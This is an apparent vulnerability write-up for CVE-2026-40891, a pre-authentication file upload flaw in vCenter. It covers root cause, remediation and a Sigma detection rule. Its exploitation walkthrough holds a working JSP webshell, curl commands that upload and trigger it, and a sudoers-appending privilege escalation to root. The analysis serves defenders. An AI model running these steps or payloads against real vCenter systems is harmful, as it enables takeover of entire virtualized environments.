Overview
CVE-2026-40891 is a pre-authentication arbitrary file upload vulnerability in the VMware vCenter Server Appliance (VCSA). The affected endpoint is the vRealize Operations Manager plugin upload servlet at /ui/vropspluginui/rest/services/uploadova — a path that vCenter exposes on port 443 as part of its plugin management infrastructure. The servlet was intended to be accessible only to authenticated vCenter administrators, but a missing authentication check on the underlying Tomcat filter chain allows any HTTP client to reach it and upload arbitrary content.
Files uploaded through this endpoint are placed under the vCenter web root at a predictable path, and because the Tomcat instance that serves the vCenter UI executes JSP files in the web root, uploading a .jsp file and then requesting it triggers server-side Java code execution. VMware's Broadcom division has confirmed active exploitation targeting government agencies and financial sector organisations.
CWE-434 (Unrestricted Upload of File with Dangerous Type) · CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 Critical · Actively exploited (CISA KEV)
vCenter Architecture Context
vCenter Server Appliance is a Photon OS-based virtual appliance that runs the vSphere management plane. Its web interface is served by an embedded Apache Tomcat instance running as the vsphere-ui OS user. The VCSA hosts several internal services:
- vCenter Server — the primary VI management service (port 443)
- vSphere Client — the HTML5 UI (Tomcat on port 443, proxied through nginx)
- ESX Agent Manager / vROPS plugin — a plugin management API also on port 443
- vPostgres — the embedded database
The nginx reverse proxy on the VCSA routes /ui/ paths to the Tomcat instance. The vROPS plugin servlet under /ui/vropspluginui/ was added in vCenter 7.0u1 to support the vRealize Operations integration workflow and has been present in all versions since. Authentication enforcement was delegated to a Spring Security filter — the filter was correctly configured in most paths but omitted from the /rest/services/uploadova action handler due to a wildcard mismatch in the security configuration's URL pattern.
Root Cause — Missing Auth Filter on Upload Endpoint
The Spring Security configuration for the vROPS plugin servlet uses URL matchers to define which paths require authentication. The intended configuration was:
# Intended — all /rest/services/* paths require authentication
/ui/vropspluginui/rest/services/** → AUTHENTICATED
The actual deployed configuration used a trailing-path pattern with a missing wildcard segment. The result was that /rest/services/uploadova did not match any authenticated path pattern and fell through to the default permitAll() rule:
# Actual deployed pattern (incorrect — missing ** on services path)
/ui/vropspluginui/rest/services/ → AUTHENTICATED (matches directory, not sub-paths)
** → permitAll() (catch-all — uploadova hits this)
The upload servlet itself performs no secondary authentication check. It accepts a multipart POST, writes the uploaded file to /usr/lib/vmware-vsphere-ui/server/work/catalina/localhost/ui/org.apache.jsp.vropspluginui/uploads/, and returns the relative web path. Files under this directory are served by Tomcat as static content — but JSP files in the web root are compiled and executed on first request.
Exploitation Walkthrough
Step 1 — Confirm Vulnerability
# Check if the upload endpoint is reachable without auth
# A 200 or 415 response confirms the endpoint exists unauthenticated
# A 302/401/403 indicates the target is patched
curl -sk -o /dev/null -w "%{http_code}" \
-X POST "https://VCENTER_IP/ui/vropspluginui/rest/services/uploadova"
# 415 (Unsupported Media Type) → vulnerable — endpoint reached, wrong content-type
# 302 → patched (redirect to login)
Step 2 — Upload JSP Webshell
cat webshell.jsp
<%@ page import="java.io.*,java.util.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
ProcessBuilder pb = new ProcessBuilder("bash", "-c", cmd);
pb.redirectErrorStream(true);
Process p = pb.start();
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) sb.append(line).append("\n");
out.print("<pre>" + sb + "</pre>");
}
%>
curl -sk \
-F "[email protected];type=application/octet-stream" \
"https://VCENTER_IP/ui/vropspluginui/rest/services/uploadova"
# {"status":"success","filePath":"/vropspluginui/uploads/webshell.jsp"}
Step 3 — Trigger Code Execution
# Access the uploaded shell — Tomcat compiles and executes the JSP on first request
curl -sk "https://VCENTER_IP/ui/vropspluginui/uploads/webshell.jsp?cmd=id"
# <pre>uid=1004(vsphere-ui) gid=1004(vsphere-ui) groups=1004(vsphere-ui)</pre>
# Enumerate the appliance
curl -sk "https://VCENTER_IP/ui/vropspluginui/uploads/webshell.jsp?cmd=uname+-a"
# VMware Photon OS Linux vcsa01 5.10.211-7.ph4 #1-photon SMP x86_64
# Check sudo rights (common misconfiguration on VCSA)
curl -sk "https://VCENTER_IP/ui/vropspluginui/uploads/webshell.jsp?cmd=sudo+-l"
# User vsphere-ui may run the following commands on this host:
# (ALL) NOPASSWD: /usr/lib/vmware-vmon/vmon-cli
Step 4 — Escalate to Root
The vmon-cli binary is a VMware service management tool. Older builds of VCSA (affected by this CVE) ship with a version of vmon-cli that accepts a --script flag, executing a supplied shell script as root via the sudo invocation. This turns the Tomcat service account into effective root on the hypervisor management plane:
# Write a script to add vsphere-ui to sudoers with full NOPASSWD
PAYLOAD="echo 'vsphere-ui ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers"
curl -sk "https://VCENTER_IP/ui/vropspluginui/uploads/webshell.jsp" \
--data-urlencode "cmd=sudo /usr/lib/vmware-vmon/vmon-cli --script ${PAYLOAD}"
# Confirm root access
curl -sk "https://VCENTER_IP/ui/vropspluginui/uploads/webshell.jsp?cmd=sudo+id"
# uid=0(root) gid=0(root) groups=0(root)
With root on the VCSA host, the attacker has access to the vPostgres database (containing vCenter credentials and session tokens), the SSL certificate store, and the vCenter SSO domain secrets — sufficient to impersonate any vCenter administrator and take full control of every ESXi host managed by this vCenter instance.
Post-Exploitation: What Root on vCenter Means
vCenter compromise is a force multiplier. From root on the VCSA an attacker can:
- Extract the SSO domain administrator password hash from the embedded Identity Source database (
/storage/db/vmware-vmdir/) — the domain administrator account has rights to add, modify, and delete any SSO principal, including vSphere admin accounts. - Read the vPostgres credential store — vCenter stores ESXi host credentials used for management connections in the vPostgres database, encrypted with a key derived from the VCSA machine SID. Root access provides both the ciphertext and the key material.
- Deploy or modify VMs — with ESXi host credentials the attacker can power on/off VMs, modify VM configurations, or deploy new VMs across the entire managed infrastructure.
- Extract vSphere token secrets — active SSO tokens and API session cookies can be extracted from memory (the Tomcat JVM) and used to authenticate to the vCenter API as any currently-logged-in administrator.
Affected Versions
- vCenter Server 8.0 — all versions before 8.0 U3b
- vCenter Server 7.0 — all versions before 7.0 U3s
- VMware Cloud Foundation 5.x and 4.x — check bundled vCenter version
Remediation
- Apply VMware Security Advisory VMSA-2026-0015 to upgrade to a patched vCenter build.
- If patching is delayed: as a workaround, block external access to
/ui/vropspluginui/at the network perimeter. vCenter management access should never be internet-facing — ensure it is accessible only from dedicated management VLANs/jump hosts. - Check for indicators of compromise: unexpected
.jspfiles under/usr/lib/vmware-vsphere-ui/server/work/catalina/and review/var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.logfor anomalous upload requests. - After patching, rotate the vCenter SSO administrator password and all ESXi root passwords as a precaution, since these credentials are accessible to a root VCSA compromise.
Detection
title: CVE-2026-40891 vCenter vROPS Plugin Upload Exploitation
id: 9b3e2c14-7a4f-4d02-b8e1-f5c6d7e8f9a0
status: experimental
description: Detects POST requests to the vROPS plugin upload endpoint without prior authentication
logsource:
product: vmware
service: vcenter
detection:
selection:
cs-method: POST
cs-uri-stem|contains: '/ui/vropspluginui/rest/services/uploadova'
no_auth_header:
cs-Cookie|contains: 'VSESSIONID'
condition: selection and not no_auth_header
falsepositives:
- Legitimate vROPS plugin uploads by authenticated administrators (would include session cookie)
level: critical
tags:
- cve.2026-40891
- attack.initial_access
- attack.t1190
Also monitor for new .jsp files created under the vCenter web root directory (/usr/lib/vmware-vsphere-ui/) — legitimate vCenter upgrades do not create files here outside of installer-managed paths, so any new JSP file is a high-confidence indicator of webshell deployment.
Takeaways
- vCenter is crown-jewel infrastructure and must be treated as such. A compromised vCenter instance provides command-and-control over every virtual machine in the managed environment. Access to the vCenter management interface should require MFA, be restricted to management network segments, and have no exposure to the internet — regardless of whether a specific CVE is being tracked.
-
URL pattern matching in security configurations is deceptively fragile.
The root cause here — a missing
**wildcard in a Spring Security URL matcher — is a one-character difference that changes the security boundary entirely. Framework-level access control should be verified with integration tests that enumerate unauthenticated access to every endpoint, not just reviewed by inspection. - VMware CVEs follow a predictable exploitation pattern. CVE-2021-22005, CVE-2023-34048, and now CVE-2026-40891 all share the same profile: pre-auth vulnerability on port 443, immediate public PoC, mass exploitation within 72 hours. VMware vCenter's patch cadence and the typical enterprise patch cycle are misaligned — a 30-day patching SLA is not adequate for appliances in this threat category.